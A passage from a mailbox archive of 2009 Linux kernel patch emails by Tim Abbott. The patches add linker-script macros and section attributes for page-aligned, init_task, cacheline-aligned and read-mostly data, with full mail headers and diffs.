--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -116,6 +116,14 @@
 	FTRACE_EVENTS()							\
 	TRACE_SYSCALLS()
 
+#define PAGE_ALIGNED_DATA						\
+	. = ALIGN(PAGE_SIZE);						\
+	*(.data.page_aligned)
+
+#define PAGE_ALIGNED_BSS						\
+	. = ALIGN(PAGE_SIZE);						\
+	*(.bss.page_aligned)
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
diff --git a/include/linux/linkage.h b/include/linux/linkage.h
index fee9e59..af051fc 100644
--- a/include/linux/linkage.h
+++ b/include/linux/linkage.h
@@ -22,6 +22,15 @@
 #define __page_aligned_bss	__section(.bss.page_aligned) __aligned(PAGE_SIZE)
 
 /*
+ * For assembly routines.
+ *
+ * Note when using these that you must specify the appropriate
+ * alignment directives yourself
+ */
+#define __PAGE_ALIGNED_DATA	.section ".data.page_aligned", "aw", @progbits
+#define __PAGE_ALIGNED_BSS	.section ".bss.page_aligned", "aw", @nobits
+
+/*
  * This is used by architectures to keep arguments on the stack
  * untouched by the compiler by keeping them live until the end.
  * The argument stack may be owned by the assembly-language
-- 
1.6.2.1




From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH 4/6] Add new INIT_TASK_DATA() linker script macro.
Date: Thu, 30 Apr 2009 15:32:34 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <1241119956-31453-5-git-send-email-tabbott@mit.edu>
References: <1241119956-31453-1-git-send-email-tabbott@mit.edu>
 <1241119956-31453-2-git-send-email-tabbott@mit.edu>
 <1241119956-31453-3-git-send-email-tabbott@mit.edu>
 <1241119956-31453-4-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241121242 25734 80.91.229.12 (30 Apr 2009 19:54:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:54:02 +0000 (UTC)
Cc: Anders Kaseorg <andersk@mit.edu>, Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-alpha@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:53:46 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzcKG-0003EY-KR
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:53:44 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:60860 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026715AbZD3Txm (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:53:42 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:53:25 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:64047 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20026714AbZD3TxC (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:53:02 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJX3Av029791;
	Thu, 30 Apr 2009 15:33:03 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJX09W002454;
	Thu, 30 Apr 2009 15:33:01 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241119956-31453-4-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22564
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23593 gmane.linux.ports.alpha:509 gmane.linux.ports.arm.kernel:57234 gmane.linux.ports.ia64:20309 gmane.linux.ports.m68k:681 gmane.linux.ports.parisc:1588 gmane.linux.ports.ppc64.devel:55680 gmane.linux.ports.sh.devel:5852 gmane.linux.uclinux.microblaze:8574 gmane.linux.ports.sparc:11539 gmane.linux.hardware.blackfin.kernel.devel:1350 gmane.linux.uml.devel:12174
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1588>

This patch is preparation for replacing most ".data.init_task" in the
kernel with macros, so that the section name can later be changed
without having to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 include/asm-generic/vmlinux.lds.h |    4 ++++
 include/linux/init_task.h         |    3 +++
 2 files changed, 7 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index fa7801b..4b020e8 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -135,6 +135,10 @@
 	. = ALIGN(alignment);						\
 	*(.data.cacheline_aligned)
 
+#define INIT_TASK_DATA(alignment)					\
+	. = ALIGN(alignment);						\
+	*(.data.init_task)
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
diff --git a/include/linux/init_task.h b/include/linux/init_task.h
index d87247d..e555baa 100644
--- a/include/linux/init_task.h
+++ b/include/linux/init_task.h
@@ -184,5 +184,8 @@ extern struct cred init_cred;
 	LIST_HEAD_INIT(cpu_timers[2]),					\
 }
 
+/* Attach to the init_task data structure for proper alignment */
+#define __init_task_data __attribute__((__section__(".data.init_task")))
+
 
 #endif
-- 
1.6.2.1




From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH v2 4/6] Add new INIT_TASK_DATA() linker script macro.
Date: Thu, 30 Apr 2009 15:54:11 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <1241121253-32341-5-git-send-email-tabbott@mit.edu>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
 <1241121253-32341-2-git-send-email-tabbott@mit.edu>
 <1241121253-32341-3-git-send-email-tabbott@mit.edu>
 <1241121253-32341-4-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241121409 26187 80.91.229.12 (30 Apr 2009 19:56:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:56:49 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:56:34 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzcMz-00043Z-Le
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:56:34 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:52232 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026719AbZD3T4c (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:56:32 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:56:15 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:65406 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20026718AbZD3T4J (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:56:09 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJsVT9017585;
	Thu, 30 Apr 2009 15:54:31 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJsSEq011237;
	Thu, 30 Apr 2009 15:54:29 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241121253-32341-4-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22566
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23595 gmane.linux.kernel:830350 gmane.linux.ports.alpha:510 gmane.linux.ports.ia64:20310 gmane.linux.ports.m68k:682 gmane.linux.ports.parisc:1589 gmane.linux.ports.ppc64.devel:55681 gmane.linux.ports.sh.devel:5853 gmane.linux.uclinux.microblaze:8575 gmane.linux.ports.sparc:11540 gmane.linux.hardware.blackfin.kernel.devel:1351 gmane.linux.uml.devel:12175
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1589>

This patch is preparation for replacing most ".data.init_task" in the
kernel with macros, so that the section name can later be changed
without having to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 include/asm-generic/vmlinux.lds.h |    4 ++++
 include/linux/init_task.h         |    3 +++
 2 files changed, 7 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index fa7801b..4b020e8 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -135,6 +135,10 @@
 	. = ALIGN(alignment);						\
 	*(.data.cacheline_aligned)
 
+#define INIT_TASK_DATA(alignment)					\
+	. = ALIGN(alignment);						\
+	*(.data.init_task)
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
diff --git a/include/linux/init_task.h b/include/linux/init_task.h
index d87247d..e555baa 100644
--- a/include/linux/init_task.h
+++ b/include/linux/init_task.h
@@ -184,5 +184,8 @@ extern struct cred init_cred;
 	LIST_HEAD_INIT(cpu_timers[2]),					\
 }
 
+/* Attach to the init_task data structure for proper alignment */
+#define __init_task_data __attribute__((__section__(".data.init_task")))
+
 
 #endif
-- 
1.6.2.1




From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH v2 3/6] Add new CACHELINE_ALIGNED_DATA linker script macro.
Date: Thu, 30 Apr 2009 15:54:10 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <1241121253-32341-4-git-send-email-tabbott@mit.edu>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
 <1241121253-32341-2-git-send-email-tabbott@mit.edu>
 <1241121253-32341-3-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241121434 26266 80.91.229.12 (30 Apr 2009 19:57:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:57:14 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:56:59 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzcNN-00043Z-Mi
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:56:58 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:52373 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026721AbZD3T44 (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:56:56 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:56:40 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:65503 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20026720AbZD3T41 (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:56:27 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJsSB1017551;
	Thu, 30 Apr 2009 15:54:28 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJsPmO011211;
	Thu, 30 Apr 2009 15:54:25 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241121253-32341-3-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22567
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23596 gmane.linux.kernel:830352 gmane.linux.ports.alpha:511 gmane.linux.ports.ia64:20311 gmane.linux.ports.m68k:683 gmane.linux.ports.parisc:1590 gmane.linux.ports.ppc64.devel:55682 gmane.linux.ports.sh.devel:5854 gmane.linux.uclinux.microblaze:8576 gmane.linux.ports.sparc:11541 gmane.linux.hardware.blackfin.kernel.devel:1352 gmane.linux.uml.devel:12176
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1590>

This patch is preparation for replacing most ".data.cacheline_aligned"
in the kernel with macros, so that the section name can later be
changed without having to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 include/asm-generic/vmlinux.lds.h |    4 ++++
 1 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index f5ebd2b..fa7801b 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -131,6 +131,10 @@
 	. = ALIGN(PAGE_SIZE);						\
 	__nosave_end = .;
 
+#define CACHELINE_ALIGNED_DATA(alignment)				\
+	. = ALIGN(alignment);						\
+	*(.data.cacheline_aligned)
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
-- 
1.6.2.1




From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH v2 5/6] Add new READ_MOSTLY_DATA(align) linker script macro.
Date: Thu, 30 Apr 2009 15:54:12 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <1241121253-32341-6-git-send-email-tabbott@mit.edu>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
 <1241121253-32341-2-git-send-email-tabbott@mit.edu>
 <1241121253-32341-3-git-send-email-tabbott@mit.edu>
 <1241121253-32341-4-git-send-email-tabbott@mit.edu>
 <1241121253-32341-5-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241121458 26329 80.91.229.12 (30 Apr 2009 19:57:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:57:38 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:57:22 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzcNl-00043Z-E7
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:57:21 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:52427 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026723AbZD3T5U (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:57:20 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:57:03 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:32783 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20026718AbZD3T4f (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:56:35 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJsYRW017637;
	Thu, 30 Apr 2009 15:54:35 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJsVCi011257;
	Thu, 30 Apr 2009 15:54:32 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241121253-32341-5-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22568
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23597 gmane.linux.kernel:830353 gmane.linux.ports.alpha:512 gmane.linux.ports.ia64:20312 gmane.linux.ports.m68k:684 gmane.linux.ports.parisc:1591 gmane.linux.ports.ppc64.devel:55683 gmane.linux.ports.sh.devel:5855 gmane.linux.uclinux.microblaze:8577 gmane.linux.ports.sparc:11542 gmane.linux.hardware.blackfin.kernel.devel:1353 gmane.linux.uml.devel:12177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1591>

This patch is preparation for replacing most ".data.read_mostly" in
the kernel with macros, so that the section name can later be changed
without having to touch a lot of the kernel.

The long-term goal here is to be able to change the kernel's magic
section names to those that are compatible with -ffunction-sections
-fdata-sections.  This requires renaming all magic sections with names
of the form ".data.foo".

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 include/asm-generic/vmlinux.lds.h |    4 ++++
 1 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index 4b020e8..a4b4f4a 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -139,6 +139,10 @@
 	. = ALIGN(alignment);						\
 	*(.data.init_task)
 
+#define READ_MOSTLY_DATA(alignment)					\
+	. = ALIGN(alignment);						\
+	*(.data.read_mostly)
+
 #define RO_DATA(align)							\
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
-- 
1.6.2.1




From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH v2 6/6] Add support for __read_mostly to linux/cache.h
Date: Thu, 30 Apr 2009 15:54:13 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <1241121253-32341-7-git-send-email-tabbott@mit.edu>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
 <1241121253-32341-2-git-send-email-tabbott@mit.edu>
 <1241121253-32341-3-git-send-email-tabbott@mit.edu>
 <1241121253-32341-4-git-send-email-tabbott@mit.edu>
 <1241121253-32341-5-git-send-email-tabbott@mit.edu>
 <1241121253-32341-6-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241121520 26660 80.91.229.12 (30 Apr 2009 19:58:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:58:40 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Sam Ravnborg <sam@ravnborg.org>
